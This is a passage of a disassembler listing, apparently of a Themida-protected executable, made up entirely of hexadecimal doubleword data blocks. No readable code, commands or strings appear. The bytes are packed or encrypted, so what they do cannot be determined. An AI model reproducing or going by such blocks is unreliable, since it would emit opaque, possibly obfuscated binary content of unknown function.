		dd 0D095263h, 41DB0D66h
		dd 0A7B91213h, 14D02667h, 8CB72E21h, 3137FC7Eh,	1BB79E61h
		dd 5637F761h, 903A905Dh, 4347108Fh, 231390EDh, 2A751084h
		dd 612A19E3h, 0CF356063h, 0C0250CE3h, 94095263h, 8DDB0D76h
		dd 0C1B91213h, 27D01F97h, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 14D039E3h, 88399069h, 0C1BF1566h, 27DAB6B5h
		dd 0EEC9C68Fh, 6DB72E99h, 4B37F76Eh, 22320DE3h,	208F9666h
		dd 8937FC71h, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 28B72E99h, 2D37FC71h, 113219E2h, 0F8B72E66h,	4B37FC71h
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 9F52905Dh, 0C13D108Fh, 2232156Dh,	73D690EBh
		dd 0E5DB153Eh, 7FCDEA9Dh, 0CB2571E3h, 1AB71A63h, 5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8DDB020Eh,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0F3397CD3h
		dd 29879C63h, 0C437F77Dh, 0A73DFC58h, 11321540h, 8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 788F2E66h, 8737F76Dh,	44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	27D01EDBh
		dd 102390A1h, 88321084h, 0CD521566h, 0C029B4D3h, 65AF9863h
		dd 7737FC54h, 66B01AB5h, 0AF321566h, 0F68770FBh, 87E1EA63h
		dd 0BBCDCBE5h, 83879E99h, 9837F77Dh, 6A3304D3h,	17AF9863h
		dd 0DD37FD05h, 78B79EB5h, 137F76Dh, 0A629B4E3h,	0BFBF7463h
		dd 14DB3BBBh, 15BFC699h, 41DB24A3h, 0A13DC699h,	1132156Ah
		dd 939390E5h, 0AD371084h, 0DDCDEAB8h, 20DC88EBh, 5BCD108Fh
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	41D5A003h
		dd 0A13DC699h, 1132156Dh, 9393A0EDh, 0C4DB1084h, 0A9321561h
		dd 0F329B4EBh, 29879C63h, 6F37F77Dh, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 279988EBh, 0F1CD108Eh, 9419D2EDh,	8DD01EDBh
		dd 4D9790EFh, 0A7B91084h, 14D01EDBh, 5BF4531h, 41DA7146h
		dd 0A7B9C499h, 14D01DB7h, 0DB94236h, 41D01EDBh,	6DBF9836h
		dd 0EE37FD02h, 3E29EB7h, 95BF3EAEh, 0A137F76Eh,	0F32CD4DBh
		dd 0C3D1563h, 4432154Dh, 3C3790EDh, 94191084h, 8DD00BA7h
		dd 0C23DD45Dh, 22321571h, 0BA790EDh, 0D311084h,	41D00BA7h
		dd 121B90EFh, 52DB1084h, 0D9321566h, 497AD4EDh,	22321A99h
		dd 14B79C26h, 8937F778h, 0A62C98E3h, 0E3B7D263h, 1137F778h
		dd 0E2321566h, 54327D26h, 48631566h, 3CA7EA66h,	7737F76Dh
		dd 0A6142CF3h, 0B7B79C63h, 9837F77Ch, 6A023CE3h, 0F1CD4C63h
		dd 27D0254Fh, 19E3A099h, 77651084h, 0A639A8D3h,	0C3B79863h
		dd 0EE37FD0Eh, 49BF14B6h, 0CF37F778h, 0C0023CDBh, 0C0879E63h
		dd 7B37F76Eh, 71879EC2h, 8F37F768h, 11CE53A1h, 49321566h
		dd 533710A6h, 21581DBDh, 0F31880E3h, 0A1BF9E63h, 0CD37F756h
		dd 64F5B86Eh, 1132159Ah, 0BD879C66h, 0C737F768h, 0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 71879C62h, 0CB37F768h, 0EECDE380h, 8B31D5A7h
		dd 0A61880E3h, 0B38F9663h, 1037F749h, 88AF9169h, 7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 3A83A8E5h,	1E331084h
		dd 88322BE2h, 4532AD66h, 9FB11566h, 14DB021Eh, 80B61A66h
		dd 0C9321566h, 0CA5E37FBh, 91E1EA63h, 0C3D8559h, 4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 61256DDBh, 0C03D1563h, 2232156Eh, 7AC088EBh,	5BCD108Eh
		dd 0CF3652EEh, 0C0023CE3h, 92F53E63h, 2599118Eh, 44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 8607A0EFh, 2C601084h, 22329566h
		dd 0A4CD150Ch, 8DD00997h, 41B78099h, 0A9681084h, 0F32C48EBh
		dd 8833D263h, 0C7321566h, 0AFBB11A7h, 14D00B3Bh, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 0F32C48EBh, 13B9E63h,	0AD2561EBh
		dd 6C0A9463h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 27D01C77h,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0C9879866h
		dd 0A937F773h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 27D000EBh, 222390EDh
		dd 48B71084h, 44289069h, 0A7F41566h, 14D01F2Fh,	2FE07D21h
		dd 0F1CDC1FCh, 27D003C7h, 6B5390EBh, 58CD1083h,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 6A24ECE3h, 4BF29063h, 22320FE3h
		dd 58B7D366h, 0C437F76Ch, 9E2EFC0Eh, 8387EABFh,	9C37F770h
		dd 6D4874E3h, 16E2EA63h, 0E2B7C599h, 11379069h,	0A9DB1566h
		dd 0CD321566h, 0CB2561E3h, 9C644563h, 6DA831E3h, 4FE2EA63h
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 0F82561EBh, 49B94563h, 0CF0E5565h, 22329DF6h, 0F8A79C66h
		dd 8D37F766h, 4432159Eh, 0AB3E45EDh, 0F318E4F3h, 0CCB94D63h
		dd 85193142h, 8C3905Dh,	933D1084h, 88321576h, 44DB905Dh
		dd 0A13D1084h, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 60BF9866h, 0EE37F72Ah
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 27DB0D22h, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 6A397CE3h, 55A79E63h, 0A937F767h,	17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 3993A0EFh, 4A6D1084h, 4CB14B3Fh, 0BE52FC62h,	0A7F5EA99h
		dd 14DB0D22h, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 0C0397CE3h, 0A79E63h, 0B37F767h,	0A61068DBh
		dd 0A63D1463h, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 0B7D266h, 2037FC7Eh, 9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 41D01E0Fh
		dd 232380EDh, 0ACB11084h, 8DD0371Bh, 0CB61A67h,	19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 0A629B4D3h, 5FB7D263h
		dd 1037F744h, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 55B7D299h, 8D37FC7Eh,	0CF321566h
		dd 26F196B8h, 94B90B65h, 8DD01E0Fh, 452380EDh, 0A17C1084h
		dd 0F31350DBh, 0C3D1463h, 44321465h, 0A03DCD5Dh, 1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 3993A0EFh, 8CB91084h, 8DDB0D22h
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8DD03423h, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 0A61068DBh, 0A63D1463h
		dd 113215DDh, 835B884Dh, 0C9B91084h, 27D01EDBh,	0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 27DB0D22h, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	0A6397CE3h, 33A79E63h, 0F837F767h
		dd 77CDEA20h, 5C7690A1h, 2230108Fh, 0CFB91566h,	83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 0E1B79EBFh, 0CF37F76Dh, 0C03304F3h
		dd 6C8F9663h, 8937F744h, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 452398EDh, 0EBB71084h, 11349069h, 3DBB1566h,	41D01477h
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	0F33304D3h
		dd 0DBAF9863h, 0BB37FD05h, 72F1ECB5h, 982253EDh, 6A3F9CE3h
		dd 82B14D63h, 8F8F987Ah, 0BC37F76Dh, 0AC165165h, 0AD8F98CDh
		dd 8F37F763h, 35165165h, 35BFBE36h, 41D00C13h, 67616CBh
		dd 0D26CBE4Eh, 0A4AF9830h, 0BB37FD05h, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AD600EC0h, 0A8ED96A7h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4062F07Ah, 7332DCF1h
		dd 0BA8FFDCCh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 0BC4D3138h, 0DF07462Fh, 5140B785h, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0DABABC2Fh
		dd 3C5253BFh, 596DC811h, 0B977DDD0h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 83D05C9Ch, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	7A17FB23h
		dd 25F89252h, 0FDF53FD5h, 9D1180ADh, 0B7342292h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7015948Ch, 997CFFA0h
		dd 0C87D7FC7h, 0F305E983h, 8DDB8BA4h, 0E91850BDh, 378D8D05h
		dd 0B805E933h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 0A9BD83C0h, 5E21Eh, 0BD830975h
		dd 5E21805h, 50197400h,	0B8C08B53h, 411h, 1DD58589h, 9D8D05E2h
		dd 5E4B361h, 585BD3FFh,	1805BD83h, 740005E2h, 0B8535017h
		dd 411h, 1DD58589h, 9D8D05E2h, 5E4B002h, 585BD3FFh, 0F2BBC08Bh
		dd 8D4672A4h, 0E9355A8Dh, 0DAB86605h, 0E98D8997h, 0F05E20Bh
		dd 85C7FEB7h, 5E20761h,	6250h, 30ED958Bh, 85C705E2h, 5E21B55h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C5C35747h
		dd 0D4F6B339h, 36B4CF52h, 1DB53199h, 0FF05E214h, 0E21FD9B5h
		dd 0F7816605h, 95FFEE02h, 5E20B15h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 76C35545h, 6D8D1F3Dh, 582B5E17h
		dd 0E8D9D8Bh, 6A05E2h, 0AB995FFh, 0C08B05E2h, 652A1DEBh
		dd 4F930C5Bh, 0D54F7791h, 666FB759h, 56B2BB80h,	0EE28758Bh
		dd 1EC9D18Eh, 0E938530Eh, 0EDh
dword_561238	dd 0D88C6660h, 840F04A8h, 0DFh,	2FCDB58Bh, 0FE8305E2h
					; DATA XREF: Themida_:004EE15Co
		dd 22850F00h, 0C6000000h, 0E20A4985h, 69684505h, 0FF8E7269h
		dd 0E2262DB5h, 61858D05h, 0FF05E57Ah, 58589D0h,	8B05E204h
		dd 0E93E80F0h, 31850Fh,	858D0000h, 5E78561h, 0BD8BD0FFh
		dd 5E2234Dh, 1184C781h,	0B58B0000h, 5E22FCDh, 8B9F787h
		dd 0F3000000h, 0CDB58BA4h, 8D05E22Fh, 0E5AB6785h, 8BD0FF05h
		dd 0E232E5B5h, 0FE8305h, 22850Fh, 85C60000h, 5E20A49h
		dd 0BEF46854h, 0B5FFFF4Eh, 5E2262Dh, 7A61858Dh,	0D0FF05E5h
		dd 32E58589h, 0F08B05E2h, 0FE93E80h, 3A85h, 0E5B58B00h
		dd 8D05E232h, 0E7856185h, 8BD0FF05h, 0E2234DBDh, 84C78105h
		dd 83000011h, 0B58B08C7h, 5E232E5h, 8B9F787h, 0F3000000h
		dd 0E5B58BA4h, 8D05E232h, 0E5AB6785h, 61D0FF05h, 81858DC3h
		dd 8905E935h, 0E204A585h, 8E805h, 0FE8A0000h, 0F17EE9E2h
		dd 5FF9ECADh, 50C18166h, 22C781EAh, 0E800005Bh,	7, 3668CC3Fh
		dd 53778C35h, 6594BE66h, 685E5Eh, 0E8000000h, 14h, 924703BCh
		dd 7AB77EB7h, 81C01BF0h, 17F02684h, 0ADB00DCBh,	0FF5A59FCh
		dd 0E1813A34h, 48DCAB74h, 11E95Bh, 0ABDD0000h, 0DF48E7A7h
		dd 0E256BB54h, 95578211h, 81014208h, 79D50BF3h,	62C98014h
		dd 0ED97C381h, 0F3811B88h, 7822138Dh, 89C78B66h, 0B70F171Ch
		dd 0AE9CFh, 6DE50000h, 0E2BDA13Fh, 467E64A6h, 0CAE2EA81h
		dd 8B66500Eh, 0DEC281CFh, 0B8500ECAh, 21C2692Eh, 0A590FA81h
		dd 850FFFFFh, 0FFFFFF93h, 8EBh,	46900000h, 0FCE979FBh
		dd 68000004h, 5E93861h,	0F948C6E9h, 38CA68FFh, 0BCE905E9h
		dd 68FFF948h, 5E93A4Bh,	0F948B2E9h, 0CECA0CFFh,	317561C0h
		dd 9824D495h, 0C2C80F72h, 2A7865C4h, 2F7017ACh,	87FAE0AEh
		dd 0E1404E54h, 562BB7FBh, 0F7FF1BA1h, 8E28298Eh, 0B4F9F9F1h
		dd 276D6E76h, 993EA120h, 0FC18B9D8h, 28293209h,	0F9FC18B9h
		dd 0D3123982h, 717A6026h, 0C649F8ECh, 7290E151h, 0B4155146h
		dd 0FA4F3B6Bh, 6A1D6A01h, 0DDEEAC2Bh, 0F54E9B6h, 147F9FAh
		dd 0C91FF235h, 268C3FE6h, 0D000003h, 0D20B8F4Ah, 703697CCh
		dd 42CF770Fh, 0D85EFB6Eh, 6801FAC3h, 0B30F40E9h, 69C6F9FAh
		dd 0B7DCA50h, 9C159E2Ch, 93B7DCFCh, 0AFE34BECh,	5F2202BDh
		dd 4C891C9Ah, 4EDDD91Dh, 7CB5D00Dh, 0DF9039D7h,	6DF5312Fh
		dd 312F8BCCh, 61ED5AF5h, 81B2170Ah, 50F5312Fh, 1EBBAE1Bh
		dd 8D36574h, 0FEA1A09Fh, 0EB16B7FDh, 0F40E968h,	0C6F31369h
		dd 0D96FAEB5h, 65D20A5Dh, 0DEDC1D44h, 2887130h,	3AAFDCE5h
		dd 0DBBACFFBh, 328h, 0C1CDC90Fh, 0AA307460h, 739F23D7h
		dd 0C5C1C70Eh, 0AD297764h, 0AD2E6F16h, 5386FBE7h, 0FAE0414Dh
		dd 0A05928B6h, 0B1F0FC1Ah, 0F1812728h, 77B7FEF9h, 0D0577B18h
		dd 1F03577h, 6C136802h,	0EFE8B02Dh, 13567CA9h, 7A6E78EAh
		dd 839BC43Dh, 0D4C3756h, 3EBFCECCh, 2C2844ADh, 0DB1CF9F1h
		dd 318350DDh, 0F396045Ch, 2BF90h, 7632A400h, 0D9DD1968h
		dd 8C4C3Dh, 6A30A79Ah, 0D2E01D6Ch, 0C7D8BF34h, 3F028816h
		dd 99E8F6BCh, 0CEB35F63h, 5F078309h, 81D08126h,	1C01F9F1h
		dd 8B7B18DEh, 37F0D4CBh, 0C1C70E22h, 8F285F94h,	201F13Dh
		dd 0C788D150h, 1EF9F181h, 3275F421h, 5580C7C5h,	82EF7657h
		dd 0F9F181EDh, 58C78FEh, 3FED47C8h, 1CC67h, 696E5B00h
		dd 7A7D3C23h, 4180AB3Ch, 0DFDD1898h, 0EE736462h, 85C447FAh
		dd 1D9B5C54h, 11104D8Eh, 18B987C8h, 0D8E15EFCh,	0FAD89B7Fh
		dd 2FA6E901h, 226D69B5h, 47BC4A0Bh, 0F016B724h,	0A474BB1h
		dd 0A831B0F3h, 0F9FA60A7h, 5FB8017Eh, 0F9FA6022h, 48BFB731h
		dd 3FE6E895h, 4A3Ah, 7B180C00h,	7FD8A05Dh, 0FC18B9FEh
		dd 98E35817h, 0ADEBEC53h, 0A1A01D5Eh, 0FAD15618h, 6BB28901h
		dd 0FAA1710Eh, 179343F9h, 27C09BF4h, 0E7BF2CA7h, 117438A0h
		dd 49B581C7h, 7CF90C92h, 8F67E107h, 0E677C518h,	0C16A3Fh
		dd 0AE5C0000h, 47A6ECEFh, 4D8AB516h, 48B53C4Fh,	1052C77Ah
		dd 0F91A43B9h, 5C609ACDh, 103B8CC9h, 849EE11h, 0D9FC1891h
		dd 0E1165962h, 0F7E5A4DBh, 0E91150ABh, 0D81546A5h, 0FCFD640Fh
		dd 0DCB710BEh, 0AAFC1896h, 0DE636F2Dh, 5A57E949h, 0E0F94F42h
		dd 23260A17h, 0FDCD7686h, 0AFD2A901h, 5BA2EEECh, 746C912h
		dd 7FC2C8D6h, 22CB307Eh, 0E5046072h, 13EA180h, 0B3250000h
		dd 5E96EBF7h, 0DCDBC5Ah, 0B1240581h, 619AEFEBh,	5938B753h
		dd 8D099744h, 6B773DBCh, 32D8E416h, 860C8A4Fh, 5102A7DEh
		dd 80F9F183h, 6D6E599Dh, 78612027h, 7C24FFEEh, 82FF8AFCh
		dd 0DB1C6D39h, 0DF81B217h, 1B50FC18h, 6E3A20AEh, 7D3C2369h
		dd 0FFC5347Ch, 0ABF22FACh, 73F29922h, 0C3D7DC86h, 252ABA80h
		dd 64E9E2E8h, 0FE0D8B4Ah, 0EC6DCA7Dh, 25FC180Eh, 0EF6E114Eh
		dd 1A612FACh, 50AF08D1h, 0A501FBB2h, 0E1185BCEh, 4870AD3h
		dd 0F7169445h, 1FA6546h, 0BFB417B3h, 8DF9FBBDh,	1F93444Ch
		dd 39AD7DBh, 30719DCAh,	0DFA6C5CBh, 8Ch, 577B18E7h, 0F03177D0h
		dd 1F540201h, 0E9AD2968h, 0CD0AB5D0h, 797EC3CFh, 938FE833h
		dd 0E17DC203h, 0EA55B0F6h, 6D31ABEFh, 560DD1Eh,	11675F19h
		dd 2F5B2B6Dh, 9D248ABAh, 2BBC66F7h, 0F7FFB324h,	0B6E368B3h
		dd 8D05F0B3h, 0B338434Fh, 15B62746h, 0CBC73071h, 2F78830Fh
		dd 9ED42DA7h, 0C73C6935h, 0D1D50140h, 0F3E26D08h, 0A5221069h
		dd 0C4EF6836h, 0EB326F02h, 571450Fh, 79C8D6D4h,	0A0E33A80h
		dd 15B6FCE1h, 3CAh, 9DA7F000h, 0D92C686Eh, 0C05B6196h
		dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
		dd 769519C1h, 788307CFh, 0E08950F2h, 405h, 4E88300h, 8B240487h
		dd 89512424h, 4C181E1h,	83000000h, 0C8704E9h, 4895C24h
		dd 104F6824h, 14890000h, 30685624h, 8B39DC0Ch, 0C4812434h
		dd 4, 31C68146h, 89CC0D2Bh, 8B545EF0h, 0C4812414h, 4, 4EC81h
		dd 4890000h, 8428F24h, 5024148Bh, 405E089h, 83000000h
		dd 48704C0h, 48B5C24h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 0F943DEE9h, 66E0DEFFh,	0AE388E3h, 0B82CAE4Fh
		dd 5E93BAEh, 0E0FFC503h, 57A627A9h, 1B0D0490h, 4CCD33Ah
		dd 5C6D8B2Ch, 6ECC6A57h, 77BDD10Fh, 24B49B9Dh, 71B033C3h
		dd 32BB9E3Ch, 672CA9C4h, 0CE4B04EBh, 1CE9167Eh,	12000005h
		dd 473AA0E4h, 0BA8F0B8Fh, 1554723Eh, 4B3EA4E2h,	69860C92h
		dd 0FAC8358Ah, 206E6DDCh, 8915C7BAh, 0FDBB3C0Dh, 3394EDD1h
		dd 0F9F18502h, 46D352D3h, 0B83A1B6Dh, 0D0963737h, 0D823696Eh
		dd 0B05E6499h, 7B8208F1h, 62B9FFF8h, 54B7F3E3h,	0EA986C2Eh
		dd 1C6F2BABh, 296624D5h, 6228D190h, 0CBD70564h,	0E0807ACFh
		dd 7CB722C8h, 831A57EFh, 941AC180h, 800CCE71h, 0DBE1144Bh
		dd 169C5F02h, 55212BF7h, 28746629h, 662AD09Fh, 0CAD00978h
		dd 0C273D457h, 13FC188Bh, 9FF88324h, 0FC188BE3h, 4672BD1h
		dd 0B9220DDh, 318F0DC8h, 6F33F37h, 8B3D4B80h, 9CC8FBBh
		dd 0D10C3A83h, 7C3A0445h, 58AFEEBh, 20B9D0CAh, 69E3h, 0EFAEC700h
		dd 1358A3E7h, 545287CAh, 0C70F4E31h, 0AA33B8C3h, 18B92E41h
		dd 0C3B335FCh, 413914Ch, 13E3Ah, 0AE000000h, 0CF265C39h
		dd 0A0E73D7Ch, 0EC537438h, 0FABDACE8h, 72EBFFDh
		dd 0ED9C18DCh, 186331AAh, 2C686CD3h, 204B9CD9h,	157036A1h
		dd 0EB572F69h, 5E23AFEBh, 72F71399h, 0A3FAC833h, 3652212Ah
		dd 8A971D25h, 6D6E7531h, 599DC427h, 6F6B2A5Dh, 4A93D823h
		dd 5D299323h, 38A6EC11h, 8814C689h, 0C1C7303Fh,	0F3BF3BBAh
		dd 0EB6CCD4Ch, 3AFC18B9h, 4FD17C4Dh, 27CA3D09h,	0A43A0411h
		dd 5Ah,	276D6E9Eh, 347A6120h, 2FB806F5h, 911DDD04h, 0C689080Ah
		dd 323C8D13h, 0B907F442h, 0E1AF2C1Dh, 1E9C5B9Ah, 13E3658Fh
		dd 411519Ch, 57FE3Ah, 6EC00000h, 9DC4276Dh, 89C8535Fh
		dd 7332494Dh, 18B965D6h, 80C7BCFCh, 8C37565Ah, 9FD94D4Bh
		dd 0C18751A7h, 4E5489F5h, 0EFAE9A40h, 6329ACECh, 4566D318h
		dd 0ABDEDA1Ah, 77992C3Eh, 3A4480Bh, 7E763978h, 2A58A13Ah
		dd 3FFC1822h, 974ABD89h, 343A04AEh, 1, 266A6E0Eh, 0F8E1A023h
		dd 59E26BB2h, 0FC18B918h, 0C26972C9h, 3D9A5683h, 0FC18B93Ch
		dd 0DA219ED5h, 7324B5FCh, 60E2FC84h, 2A1A4465h,	91901CDCh
		dd 596226AEh, 0A1858A4Dh, 0B3F7FFBEh, 57DAE368h, 0FA4E70F2h
		dd 0B1D4A301h, 0C7C3C90Eh, 0D4377562h, 71EBEAADh, 0A9D0BC3Fh
		dd 0E239767Ch, 78F75069h, 2FF9FA1Eh, 0F8E14D39h, 0A45514B2h
		dd 58A3E9ECh, 1C47A613h, 344EDDDBh, 8374C2B2h, 0BA950205h
		dd 740F95BCh, 907DDBB8h, 41AB8E87h, 29E4A278h, 863FE649h
		dd 11Ah, 577B18B8h, 0DF3B77D0h,	0E55201FAh, 0BB1C9F86h
		dd 0F9FA9FBAh, 0DB4745B0h, 0E3145B6Ch, 8F4839A5h, 30B3F209h
		dd 0FA9FA697h, 0A7007FF9h, 0C6793FB8h, 714A5087h, 286E6BEAh
		dd 5B6992DDh, 867EE8C0h, 8A7AFC32h, 4AFDBB3Ch, 3D2122DDh
		dd 7F48E78Bh, 5D30EDABh, 2D9F3FE6h, 0A3000000h,	0D2557918h
		dd 18B91475h, 0F9FC4DFCh, 8C4CB3h, 66D7B0CBh, 6FC18B9h
		dd 0ED747044h, 0A0E146F9h, 0D1FC18B9h, 93ED7C9Ah, 11000000h
		dd 0D0577B18h, 0A6EAEE51h, 277ACA47h, 0FE7919CDh, 87DF8881h
		dd 33669060h, 6F3141AAh, 8BE001FAh, 8208F170h, 0F6B42504h
		dd 47BEC97h, 2A321B9Ah,	0F18BD4F5h, 0AEF9FABDh,	0F1BF3C7Fh
		dd 0E3AF2BAAh, 592D15B6h, 0BBAEECEDh, 0B1DE9F38h, 3877F9FAh
		dd 53F0FBAFh, 416FC87Fh, 0B407E3FDh, 0B425ACFFh, 0CB3073F6h
		dd 18624719h, 0BBF0ED3Bh, 4BD2EB60h, 0D311E56Fh, 64E79A4Eh
		dd 0D38F92C3h, 993E43F7h, 0F7D38FD8h, 0E4C53209h, 0C3F41CBDh
		dd 2C1B09CAh, 7B18B8A6h, 0B93B3C9Dh, 9DEAFC18h,	3FBE2120h
		dd 0B95A1BBCh, 0BC8BFC18h, 18B9AAABh, 0BB0C7BFCh, 1F54E52h
		dd 77EA4102h, 7A48B5F4h, 0A091AA23h, 71F9F185h,	5B9AA13Ah
		dd 8FF2189Eh, 76394C4Ah, 7F45B4F7h, 0DD9EAF2Ch,	74F9F185h
		dd 9245AE3Fh, 900A5974h, 9AC52064h, 8DCE5D5Bh, 8B129E5Ah
		dd 0EC54202Ah, 0FA483C7Eh, 0C988BFFDh, 0FF7C8F13h, 904938EEh
		dd 3394170Ah, 0E5987202h, 384364D3h, 0B8BFE079h, 9127CEB0h
		dd 0C8CE0948h, 1BEB55BDh, 666C2AAFh, 0B5D0D603h, 15EAh
		dd 2FAE1000h, 1A23696Ch, 0FC18B959h, 0EE2AB388h, 0F3B93C7Fh
